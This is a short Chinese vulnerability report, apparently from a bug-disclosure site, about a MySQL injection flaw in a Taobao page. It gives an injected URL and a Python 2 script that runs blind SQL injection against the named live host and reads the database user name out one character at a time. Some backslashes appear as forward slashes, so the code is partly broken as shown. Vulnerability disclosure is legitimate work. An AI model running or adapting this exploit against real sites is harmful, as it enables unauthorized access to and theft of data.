淘宝网某站点存在MySQL注射(附验证脚本)

http://top.lz.taobao.com/index.html?cfname=%E5%A5%B3%E4%BA%BA/%E5%A5%B3%E8%A3%85/%E7%AE%B1%E5%8C%85&cname=%E5%A5%B3%E8%A3%85/%E5%A5%B3%E5%A3%AB%E7%B2%BE%E5%93%81&dtype=10&level=all&locale=all&more=main&qtype=51a&cid=16 AND length(user())=21

#encoding=utf-8
 import httplib
 import time
 import string
 import sys
 import random
 import urllib
 
 
 headers = {}
 payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
 
 print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
 user = ''
 
 base_url = "/index.html?cfname=%E5%A5%B3%E4%BA%BA/%E5%A5%B3%E8%A3%85/%E7%AE%B1%E5%8C%85&" + /
       "cname=%E5%A5%B3%E8%A3%85/%E5%A5%B3%E5%A3%AB%E7%B2%BE%E5%93%81&" + /
       "dtype=10&level=all&locale=all&more=main&qtype=51a&"
 
 for i in range(1,22):
     for payload in payloads:
         conn = httplib.HTTPConnection('top.lz.taobao.com', timeout=60)
         s = "cid=16 AND ascii(mid(user()from(%s)for(1)))=%s" % (i, ord(payload))
         conn.request(method='GET',
                      url = base_url + s,
                      headers=headers)
         html_doc = conn.getresponse().read().decode('utf-8')
         conn.close()
         if html_doc.find(u'卖家：韩都衣舍旗舰店') > 0:    # True
             user += payload
             sys.stdout.write('/r[In Progress]' + user)
             sys.stdout.flush()
             break
         else:
             print '.',
 
 print '/n[Done]MySQL user is ' + user
 print time.strftime('%H:%M:%S', time.localtime())